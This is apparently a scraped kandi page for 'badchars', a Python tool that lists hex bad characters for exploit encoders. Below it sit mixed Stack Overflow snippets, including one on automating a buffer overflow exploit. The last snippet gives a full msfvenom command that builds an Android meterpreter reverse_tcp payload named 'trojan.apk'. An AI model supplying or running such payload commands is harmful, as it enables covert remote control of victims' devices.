badchars | Bad char generator to instruct encoders
kandi X-RAY | badchars Summary
kandi X-RAY | badchars Summary
A hex bad char generator to instruct encoders such as shikata-ga-nai to transform those to other chars.
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badchars Examples and Code Snippets
Lines of Code : 113License : Permissive (MIT)
Copy$ badchars
\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x $ badchars --help
usage: badchars [-h] [-v] [-l int] [-f str]
Badchar generator.
optional arguments:
-h, --help show this help message and exit
-v, --version Show version information,
-l int, --length int Length of badchar pip install badchars
Community Discussions
Trending Discussions on badchars
QUESTION
Forgive me ahead of time. I know my code is sloppy and a bit hackish.
I am attempting to write a menu-based script for automating each step of a 32bit buffer overflow (as a little bit of backstory). Most of the steps I have automated without issue, but I am attempting to append a series of escaped hex characters to my buffer before sending it (see code below).
I've written my script for both Python 2.7 and Python 3 (using pwnlib for p32 little endian processing). I have since given up on Python 3, as it seems to be a little more tedious for the purposes of exploit writing. The problem I'm running into, is that the escaped hex characters, stored in a string variable, defined via raw_input, aren't being sent over the socket correctly.
If I hardcode the escaped hex characters, the script runs flawlessly I'm certain I've read a good amount to know that there is an issue with encoding of some kind, but I've been at this for a couple of days and at this point I'm beyond frustrated.
Python 2.7
...ANSWER
Answered 2020-Nov-10 at 05:17For anyone struggling to accomplish the same or similar task as me, that also has difficulty with Str and Byte objects, or is attempting to convert a Python 2.7 exploit to Python 3, I found it was best to convert all string objects to bytes via string.encode() and just work with those instead.
I accomplished my goal through the use of Python 3 (as recommended by @tripleee), the pwntools module p32, converting all strings to bytes, and working with those instead of strings as I commonly did in Python 2.7.
Thank you to @tripleee and @steve for your help in clarifying a few misunderstandings on my part, and attempting to help me solve this problem. Below is my revised code, for Python 3.
QUESTION
I´m doing a phonebook thing for a project using the dictionarys. Everything has been going fine untill this problematic part where I save the newly added keys and values. I wonder where im doing wrong?
...ANSWER
Answered 2020-May-19 at 19:58Katalog: Dict[str, List[str]]
for namn in Katalog:
QUESTION
I have an array of special characters like the following
...ANSWER
Answered 2020-Mar-30 at 00:49Do it as follows:
QUESTION
I reviewed those posts: append list inside dictionary with update and Append element to smallest list in dictionary of lists.
They didn't help help me. I wanted to do something like that: there was a result = {} and spl = input().split(' '), I did something and it turned into result = {'text': [1, 2]} (for example). How to do this?
I tried to make a thing like in the first link: result.update({'text': result['text'] + [1, 2]}), but it did not worked. I also tried thing from the second link:
ANSWER
Answered 2019-Nov-01 at 14:33Your code:
QUESTION
This question is partly related to Get Google Maps XML data, parse it and input to Excel cells. In previous question solution was to loop through links and input values for each one. I have figured out that it is possible to call for multiple origins and destinations and get everything in XML file from Google Maps. Now this is one huge XML to get data out. I need to get duration like 1 hour 30 mins and distance like 103 km out for each one. How is this possible?
Also why there is 25 XML responses when I have only 5 different variants?
Here is my VBA:
...ANSWER
Answered 2019-Jul-01 at 15:04Consider XSLT, the special-purpose language designed to tranform XML files into end-use formats including other XML files, HTML files, even text files. Here, XSLT can transform your DistanceMatrixResult structure into a CSV format with needed headers and data rows to be imported into an Excel spreadsheet. The Office library, MSXML (which you already use), can run XSLT 1.0 scripts.
And the reason you receive 25 element requests is each pair-wise matching of the 5 origination and 5 destination sites (5*5). Each row is a pair match (i.e., London, UK to all five destinations). Map these pairing accordingly in XSLT. By the way, forget parsing the text, use the values instead where duration is measured in seconds and distance in meters. Even have XSLT run the math conversion into decimal hours and decimal km!
XSLT (save as .xsl file, special .xml file, to be read in VBA)
QUESTION
List = ["I?", "Can", "!Not", "Do.", "It"]
l=[]
BadChars = ["?", "!", "."]
for i in List:
for j in BadChars:
if j in i:
i=i.strip(j)
l.append(i)
print(l)
print(List)
ANSWER
Answered 2019-Mar-16 at 01:01To overwrite, use indexing:
QUESTION
I already know this is a really dumb question. I tried looking up my answer but I barely know what to ask. (sorry if the title is a little vague). But Here I go. I have a list of words. I'm wanting to get rid of the bad characters in that list.
...ANSWER
Answered 2019-Mar-16 at 00:46You could use the replace method, for each char for each word:
QUESTION
I need a field which can only take numbers, but not allow for signs such as "+", "-", "*" and "/". 0 can also not be the first number. If I make an Input field and set it's type to "number" I'm still allowed to write at least "+" and "-", and I can't quite seem to prevent the user from writing 0 as the first number either.
...ANSWER
Answered 2017-May-16 at 08:14You should use e.key to get the current key pressed. String.fromCharCode(e.keyCode) gives the wrong result.
Also you should check if the bad chars is not -1. If it is, then your char is not a bad character and so you should not enter the if.
If you want to get the length of the input field you should use jQuery's .val() and not .text(). Or you can simply do it without jQuery using this.value.length.
QUESTION
I have a list of strings in python, and I want to find which ones do not contain any bad substrings, which I read from a file. Here's my code in python 2:
...ANSWER
Answered 2018-Apr-26 at 16:04f.read() starts from the current location in the file. Thus, when you call it twice for the same file object, the second time there's nothing more left to read.
QUESTION
When I make a payload with this command in my termux app
...ANSWER
Answered 2017-Dec-13 at 03:43First of all, sorry for my bad english.
It looks like your problem is the path, the sdcard path is ~/storage And inside, you just can access some folders, in my case are dcim, downloads, movies, music, pictures & shared
I've decided to put it in downloads, so the path should look like this: ~/storage/downloads/trojan.apk
The final code should be like this: ./msfvenom -p android/meterpreter/reverse_tcp LHOST=Your Ip LPORT=Your Port -o ~/storage/downloads/trojan.apk
Community Discussions, Code Snippets contain sources that include Stack Exchange Network
Vulnerabilities
No vulnerabilities reported
Install badchars
You can use badchars like any standard Python library. You will need to make sure that you have a development environment consisting of a Python distribution including header files, a compiler, pip, and git installed. Make sure that your pip, setuptools, and wheel are up to date. When using pip it is generally recommended to install packages in a virtual environment to avoid changes to the system.
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